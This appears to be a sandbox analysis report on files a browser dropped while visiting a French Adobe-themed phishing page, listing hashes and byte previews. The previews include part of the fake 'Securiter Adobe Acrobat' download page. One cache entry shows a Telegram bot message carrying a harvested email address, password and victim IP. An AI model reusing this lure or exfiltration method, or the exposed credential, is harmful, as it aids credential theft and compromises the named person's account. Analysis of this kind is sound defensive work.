Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 09:37:50 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9976297211364606
Encrypted:	false
SSDEEP:
MD5:	B0822FCE129D426828A501BC92A41F65
SHA1:	CE140E0CF541FCC0EDEF2A51F572E6BD7506FBEB
SHA-256:	16EED95E3182F97E3EC0AA2E68D1ADB7F1FC0B156B71F10061A32C8D6271254C
SHA-512:	3DC5F7E64B4DA793A38F77109A8E76E06D6173378F695D7B77C8D678B19DD915BCCB5BC2415922D916FEA9F3753B61839462C88E813DBBAD6D3E57D90A5AB817
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......<.D......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.T...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 09:37:50 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.00138877179984
Encrypted:	false
SSDEEP:
MD5:	AC2A532612DFBCED2575D433F7C4BA37
SHA1:	33954D53964DE316747542507FDD904F4276A3BD
SHA-256:	B4E5D6DE1BB380A3BC1504491EB56F9CEF4757170C1024D584C0968077339388
SHA-512:	DC999D25E281B1A77163B06B5288AD49B4A660B70550BCD46C20B950BAF9590B96220F9B92F5607C3C1A65B148626CCB7320DA42A6190008DE85C7816DC399CE
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......<.D......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.T...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\4eb0c658-4421-44f1-b3bf-ab2e19c1d8c1.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3275
Entropy (8bit):	4.870735495814581
Encrypted:	false
SSDEEP:
MD5:	1F88066CC3D8033AA5C0579FB8CEAD36
SHA1:	AFFC5339FCB0CC1F05AD9D0BD8DF46C875B6A382
SHA-256:	5867CBE51E43EE9EE85710653A082A41F22EB7F6B2E12ECB3FCB437D762B7634
SHA-512:	859AC66EF5EE2D635C33F78DFF97D0AA9EBC4B0C18D2F880DB6217E9754F515F652CF4049DC1BB2E025CE14F3F7A5CA11F21EE21B83A8A540C0531C016346779
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="fr">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <link href="https://get.adobe.com/reader/favicon.ico" rel="shortcut icon" type="image/x-icon">.. <title>Securiter Adobe Acrobat</title>.. .. Lien vers le fichier CSS externe -->.. <link rel="stylesheet" href="https://css-s-816a7.web.app/style.css">.. .. Lien vers les ic.nes -->.. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">..</head>..<body>.. Landing page avec logo PDF et bouton de t.l.chargement -->.. <div class="container" id="landing-container">.. <img src="https://cdn-icons-png.flaticon.com/512/337/337946.png" alt="PDF Logo">.. <p class="file-name">Demande.pdf</p>.. <button class="btn-download" onclick="showLoader()">T.l.charger</button>.. <p><a href="https://get.adobe.com/fr/reader/" target="_b

C:\Users\user\Downloads\52344bdc-0de4-487e-8a01-6cff86d5633d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.5, 3 pages (zip deflate encoded)
Category:	dropped
Size (bytes):	319976
Entropy (8bit):	7.985276171240648
Encrypted:	false
SSDEEP:
MD5:	2955BA82B90AD5DD65C16CC0F2AE9229
SHA1:	4EF27976D6EC87ECF9033696DB74BC28CA4C1649
SHA-256:	76005D738B9209E6F2B0DC92060545077ABD56E565424086D91A35827A21BDD1
SHA-512:	77BCB929CA62060A01DE454AE44BA124B6A57CE3FC49020362C9415A50BFD4A239B79207FA925AE0249602271D8A4F06F269CE5309080AE977F982A5C85A3C14
Malicious:	false
Reputation:	unknown
Preview:	%PDF-1.5..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(fr-FR) /StructTreeRoot 30 0 R/MarkInfo<</Marked true>>>>..endobj..2 0 obj..<</Type/Pages/Count 3/Kids[ 3 0 R 23 0 R 25 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R/F5 18 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 3263>>..stream..x....n.....a..D...Ka...$.AS.M.>.}.,.f ..I...V......\|Egfy...ye..G.....p.3......x....5..cvy}.......EQ..t.=)X...........[..]~9?{..3.=../..g..3.B..b..<-.%........fw.+..??...j8...~.'..d.>f.]..G...........go........#.M(.W..6....kq...1....{Zu......C.,Z...~ .X.....c...h.2.D..6.F.........S...l...#=.I..tE..u..~#.."..._W/!g....Q0`..Kx*..dA.?2xE..v'.dXG...#..a..D..0.D....^......_z........#XM(...W.q\?~ .....B"....J1...D.Z.

C:\Users\user\Downloads\Abobe-pdf.html (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	1F88066CC3D8033AA5C0579FB8CEAD36
SHA1:	AFFC5339FCB0CC1F05AD9D0BD8DF46C875B6A382
SHA-256:	5867CBE51E43EE9EE85710653A082A41F22EB7F6B2E12ECB3FCB437D762B7634
SHA-512:	859AC66EF5EE2D635C33F78DFF97D0AA9EBC4B0C18D2F880DB6217E9754F515F652CF4049DC1BB2E025CE14F3F7A5CA11F21EE21B83A8A540C0531C016346779
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="fr">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <link href="https://get.adobe.com/reader/favicon.ico" rel="shortcut icon" type="image/x-icon">.. <title>Securiter Adobe Acrobat</title>.. .. Lien vers le fichier CSS externe -->.. <link rel="stylesheet" href="https://css-s-816a7.web.app/style.css">.. .. Lien vers les ic.nes -->.. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">..</head>..<body>.. Landing page avec logo PDF et bouton de t.l.chargement -->.. <div class="container" id="landing-container">.. <img src="https://cdn-icons-png.flaticon.com/512/337/337946.png" alt="PDF Logo">.. <p class="file-name">Demande.pdf</p>.. <button class="btn-download" onclick="showLoader()">T.l.charger</button>.. <p><a href="https://get.adobe.com/fr/reader/" target="_b

C:\Users\user\Downloads\Abobe-pdf.html.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	1F88066CC3D8033AA5C0579FB8CEAD36
SHA1:	AFFC5339FCB0CC1F05AD9D0BD8DF46C875B6A382
SHA-256:	5867CBE51E43EE9EE85710653A082A41F22EB7F6B2E12ECB3FCB437D762B7634
SHA-512:	859AC66EF5EE2D635C33F78DFF97D0AA9EBC4B0C18D2F880DB6217E9754F515F652CF4049DC1BB2E025CE14F3F7A5CA11F21EE21B83A8A540C0531C016346779
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html lang="fr">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <link href="https://get.adobe.com/reader/favicon.ico" rel="shortcut icon" type="image/x-icon">.. <title>Securiter Adobe Acrobat</title>.. .. Lien vers le fichier CSS externe -->.. <link rel="stylesheet" href="https://css-s-816a7.web.app/style.css">.. .. Lien vers les ic.nes -->.. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">..</head>..<body>.. Landing page avec logo PDF et bouton de t.l.chargement -->.. <div class="container" id="landing-container">.. <img src="https://cdn-icons-png.flaticon.com/512/337/337946.png" alt="PDF Logo">.. <p class="file-name">Demande.pdf</p>.. <button class="btn-download" onclick="showLoader()">T.l.charger</button>.. <p><a href="https://get.adobe.com/fr/reader/" target="_b

C:\Users\user\Downloads\Cahier des Charges.pdf (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.5, 3 pages (zip deflate encoded)
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	9FEFCD502F223B1F4153B03BED6554F0
SHA1:	CD54EDB6AAE1F2C4C5EC45286302B4BD25629BDF
SHA-256:	8B9C8FD2F9418283DC3B3454D3E83F2E8919A2F620E1F8C1BD91C7F9B6D445F7
SHA-512:	CDD2AFCC294C4867C870EA321B7A2470C3EBA6281BA2F91FDB9E0A7263B7A12DA9864415B141AB455A087E16209B0501DE078485398B56B064B8BE3352A4E11D
Malicious:	false
Reputation:	unknown
Preview:	%PDF-1.5..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(fr-FR) /StructTreeRoot 30 0 R/MarkInfo<</Marked true>>>>..endobj..2 0 obj..<</Type/Pages/Count 3/Kids[ 3 0 R 23 0 R 25 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R/F5 18 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 3263>>..stream..x....n.....a..D...Ka...$.AS.M.>.}.,.f ..I...V......\|Egfy...ye..G.....p.3......x....5..cvy}.......EQ..t.=)X...........[..]~9?{..3.=../..g..3.B..b..<-.%........fw.+..??...j8...~.'..d.>f.]..G...........go........#.M(.W..6....kq...1....{Zu......C.,Z...~ .X.....c...h.2.D..6.F.........S...l...#=.I..tE..u..~#.."..._W/!g....Q0`..Kx*..dA.?2xE..v'.dXG...#..a..D..0.D....^......_z........#XM(...W.q\?~ .....B"....J1...D.Z.

C:\Users\user\Downloads\Cahier des Charges.pdf.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.5, 3 pages (zip deflate encoded)
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	9FEFCD502F223B1F4153B03BED6554F0
SHA1:	CD54EDB6AAE1F2C4C5EC45286302B4BD25629BDF
SHA-256:	8B9C8FD2F9418283DC3B3454D3E83F2E8919A2F620E1F8C1BD91C7F9B6D445F7
SHA-512:	CDD2AFCC294C4867C870EA321B7A2470C3EBA6281BA2F91FDB9E0A7263B7A12DA9864415B141AB455A087E16209B0501DE078485398B56B064B8BE3352A4E11D
Malicious:	false
Reputation:	unknown
Preview:	%PDF-1.5..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(fr-FR) /StructTreeRoot 30 0 R/MarkInfo<</Marked true>>>>..endobj..2 0 obj..<</Type/Pages/Count 3/Kids[ 3 0 R 23 0 R 25 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R/F5 18 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 3263>>..stream..x....n.....a..D...Ka...$.AS.M.>.}.,.f ..I...V......\|Egfy...ye..G.....p.3......x....5..cvy}.......EQ..t.=)X...........[..]~9?{..3.=../..g..3.B..b..<-.%........fw.+..??...j8...~.'..d.>f.]..G...........go........#.M(.W..6....kq...1....{Zu......C.,Z...~ .X.....c...h.2.D..6.F.........S...l...#=.I..tE..u..~#.."..._W/!g....Q0`..Kx*..dA.?2xE..v'.dXG...#..a..D..0.D....^......_z........#XM(...W.q\?~ .....B"....J1...D.Z.

C:\Users\user\Downloads\c13064f1-b3fd-4794-ba3b-c13fb7034139.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.5, 3 pages (zip deflate encoded)
Category:	dropped
Size (bytes):	4924
Entropy (8bit):	7.616157871908447
Encrypted:	false
SSDEEP:
MD5:	9FEFCD502F223B1F4153B03BED6554F0
SHA1:	CD54EDB6AAE1F2C4C5EC45286302B4BD25629BDF
SHA-256:	8B9C8FD2F9418283DC3B3454D3E83F2E8919A2F620E1F8C1BD91C7F9B6D445F7
SHA-512:	CDD2AFCC294C4867C870EA321B7A2470C3EBA6281BA2F91FDB9E0A7263B7A12DA9864415B141AB455A087E16209B0501DE078485398B56B064B8BE3352A4E11D
Malicious:	false
Reputation:	unknown
Preview:	%PDF-1.5..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(fr-FR) /StructTreeRoot 30 0 R/MarkInfo<</Marked true>>>>..endobj..2 0 obj..<</Type/Pages/Count 3/Kids[ 3 0 R 23 0 R 25 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</Font<</F1 5 0 R/F2 9 0 R/F3 11 0 R/F4 16 0 R/F5 18 0 R>>/ExtGState<</GS7 7 0 R/GS8 8 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 595.32 841.92] /Contents 4 0 R/Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 0>>..endobj..4 0 obj..<</Filter/FlateDecode/Length 3263>>..stream..x....n.....a..D...Ka...$.AS.M.>.}.,.f ..I...V......\|Egfy...ye..G.....p.3......x....5..cvy}.......EQ..t.=)X...........[..]~9?{..3.=../..g..3.B..b..<-.%........fw.+..??...j8...~.'..d.>f.]..G...........go........#.M(.W..6....kq...1....{Zu......C.,Z...~ .X.....c...h.2.D..6.F.........S...l...#=.I..tE..u..~#.."..._W/!g....Q0`..Kx*..dA.?2xE..v'.dXG...#..a..D..0.D....^......_z........#XM(...W.q\?~ .....B"....J1...D.Z.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	589
Entropy (8bit):	5.322012065418362
Encrypted:	false
SSDEEP:
MD5:	B9E6F514EADFBAD6AC6741396D008BD6
SHA1:	E3F8EF8B296801AEF03FF1C76C55C2841E748E85
SHA-256:	1A6709AB0AC021812F5A61AC5A2B144DC005967499611A47CFA91570256A9A82
SHA-512:	A97A808421D1A6985E63DE90DA8A1F89678B85AE1755514FDC8F84E1B15357551560FEC1EA24AAFCF158AEBD8D4B4F1C3A4A87950BA91903CC0D8F9FB11BB71C
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":111,"from":{"id":7758695294,"is_bot":true,"first_name":"Shelby Notif","username":"Shel225_Bot"},"chat":{"id":5848269608,"first_name":"J","username":"Anoonyms","type":"private"},"date":1733135926,"text":"\ud83c\uddeb\ud83c\uddf7 FR R\u00e9sultat - stanislas@socotec.com:erddfdvdvd\nIP: 8.46.123.228\nAppareil: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","entities":[{"offset":19,"length":21,"type":"email"},{"offset":56,"length":12,"type":"url"},{"offset":167,"length":9,"type":"url"}]}}

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8183
Entropy (8bit):	7.398234430204932
Encrypted:	false
SSDEEP:
MD5:	9A85752042AE270B88114895B82DA2C1
SHA1:	008289668D0D6E8B68F9D5120B863556D4E44E84
SHA-256:	5EEDB987A0D26A60527854460E67BB0762DE152F45B5BE580DE5AA21E524D309
SHA-512:	82CC33EADF5AFE4480357D994B8C1A1376EF02F286438C9A6873BEDB33D49013CD73ACCA69D35D1E57716D48D7758D427590E529266DA645AC6616BD3F0E1DA6
Malicious:	false
Reputation:	unknown
URL:	https://cdn-icons-png.flaticon.com/512/337/337946.png
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs.........B(.x....tEXtSoftware.www.inkscape.org..<....tIDATx.....$u}.._.}......\....a..^."...(^H<..(.`....1....A.. *......x, r..,......T.....;.=3.]..K...lf~.S.oWwW...j...\....lK.m.f.......V.....}.I0....%...........d.1...n.-fN.&.....w%7oO...m.dk3..~..D..."....!......vf......e..u.....]m....t.O.._.l.$.b................L...........5.../L.D...\|,..Kn~.l............h..%[.........?...d;9..&."..@>\|$..d. .@........... ...9Y..O.......D.. '........?@. .r...U?@. .r......P..D.. ?...~..L.....\|92..1.@. ....+...I.".../o....D.. w.6.@. .rd..U....M.....\|y........y..."...#.W..On^b...@......c...@....#.D.. .... .....@. .....@.........."...... .........".....@.. .........".....@.. ........."@.. .........".....@.. .........".....@.. .........".....@.. ........."@....... ........."@....... ........."@.. .D...@. .......D........@. .......D..... ..@.........D..... ..@.........D..... ..@.........D..... ..@.........D...@. .......D..... ..@.....

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	dropped
Size (bytes):	14486
Entropy (8bit):	5.472839995779483
Encrypted:	false
SSDEEP:
MD5:	CA11C14307E4A34AE9261E16F6062882
SHA1:	1510D029822CEDB83C10DD2949A072182A2C34C0
SHA-256:	E8F635A7AECD04B25D5BDC8A981395B56D4E91B7F65D187618CF1214830B6C10
SHA-512:	9FFFBD8871E880806845FADD99CEC115E0193890AC84FC983538AF6B9EA84FC39F04DC6C611F706D82CF9AFB048B1DC84602E4B649B10589E17E034ECEF7A722
Malicious:	false
Reputation:	unknown
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 125064, version 768.67
Category:	downloaded
Size (bytes):	125064
Entropy (8bit):	7.994213368618236
Encrypted:	true
SSDEEP:
MD5:	57B380D27F14F16E737BCCA7E849CF79
SHA1:	2E4280929D4D76FC0E31601C98F167F14630C209
SHA-256:	94E1BBC1C2A41EBC73FA5253FD563256C0035B4D69181E48F9AEF9E474A11251
SHA-512:	88DD2321CC4711333411A24DAB612DAA68CAF7CC31C892405BCBB9E89629CA15FCDD781BB26D7485F5819B5B48170EC8EAA2135701F4695CF94A1CB0C15BF649
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-solid-900.woff2
Preview:	wOF2.............R....=...C.....................8.$. .`..l...d....p.... .u)...........y....{XG.....PUUU....U........................................{......'R%........T.)Ue.)..d~O.....<.3R.hC..S3...ig.}.[........./._.NoxN...~/........{^h}&)..0+.b.....iofi.<......;..V......E.jF0.E6.V.......z-_..x s... ......DA).tk......JRE%..@.F,....$3.........9_..b....'.......-sg..R.i$..jw%.V...z...e...nk..........$./..H.A.)`9.>B.?.'.J.K.. .A..qj..e.K..4%....&E......f ...8K..a..{8.9b.q..}.%P~.fj.>....$.Yi...V+....@...N.....M.`S.([J.....w\..o....az.9"........-m....6.m..2ow.e.7.L:....... 0........I..a=\..............N.n.i........F....mP.m.M.S.G)5..-.........ouM.]/..nD.h$.].33..s.A..Gtf.2.\|..Y"D..b..~..?.7Z".L..#...%....~O:.....ncl.uQ.;3.....X.... ..$..P...]@......z>.t..D.9Jv.....@P.J.9uQ.S..........}....K..r...~...1.?N^..a.s.5....E.x.A#....hD.0...}..z.E...)%8d.IeV..2?)..E......H...R. ...eH.e...DR.nj..$eV......fUO.......6.......q.a...v{m....."[%.....-Q+..E.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.758217138015706
Encrypted:	false
SSDEEP:
MD5:	7AC766454A72FBACB6EBDB5A01830BAA
SHA1:	023C1D4870A63E02F128B39C0387553619C5E56B
SHA-256:	22AE3C615F83AB97EDA448B27FC68E89D11DF3FAB1A486FC4A33C1C139D42B16
SHA-512:	E4068FFD44BD272C9696FB333D58100775FA1525B55B7884A4487195CFF4031EC68D023EF4C887659E7409C58E44C96521888E968ECC145B0F381AD5A8B56F5D
Malicious:	false
Reputation:	unknown
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "consumer": "projects/298134251447",. "service": "blobcomments-pa.googleapis.com". }. }. ]. }.}.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	2271267
Entropy (8bit):	5.656111054194484
Encrypted:	false
SSDEEP:
MD5:	A6ADB19694EFB53C23549E22320C2B3C
SHA1:	98F101A2ED8D520EB1E7CB84F4AF65C45B69E491
SHA-256:	FEE3EBB49D211E3D9C1D561ED55FD9706616FBF97B24E3450EFE04C261A44EDA
SHA-512:	92D94F969EE6DFD8E5E1089353DFCAB013D863FADA53C46F99BD264B68F65E34600498610E1FD6E4E410EF46397BA109E11FFC104EFAD239D78ABE877C049A2E
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.uI26_hipfw4.O/am=wGA/d=1/rs=AO0039sRkkhQ7DX_Btd3fw-X7j5bjQ0r2Q/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0x60c0, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4604
Entropy (8bit):	7.942015001947197
Encrypted:	false
SSDEEP:
MD5:	4B9B8E9757629A85DC70F09C57B3C1A7
SHA1:	22C77C9FE89C28F3503D07FB91F391A7511E4241
SHA-256:	92EBD3784F9FCBAE154B2E4459ECEA8E3A5C22A534539BE5D1354984A60DB2BE
SHA-512:	1B2682AEADE7B5FEAB73F3546B61739209D42EE4D80F5F99B2CCF8EFD48065CB39BA19A8A7D070DC1ADE4569EF565C8F46FDFCC16B3D0E7EE6C27882B70C4DE0
Malicious:	false
Reputation:	unknown
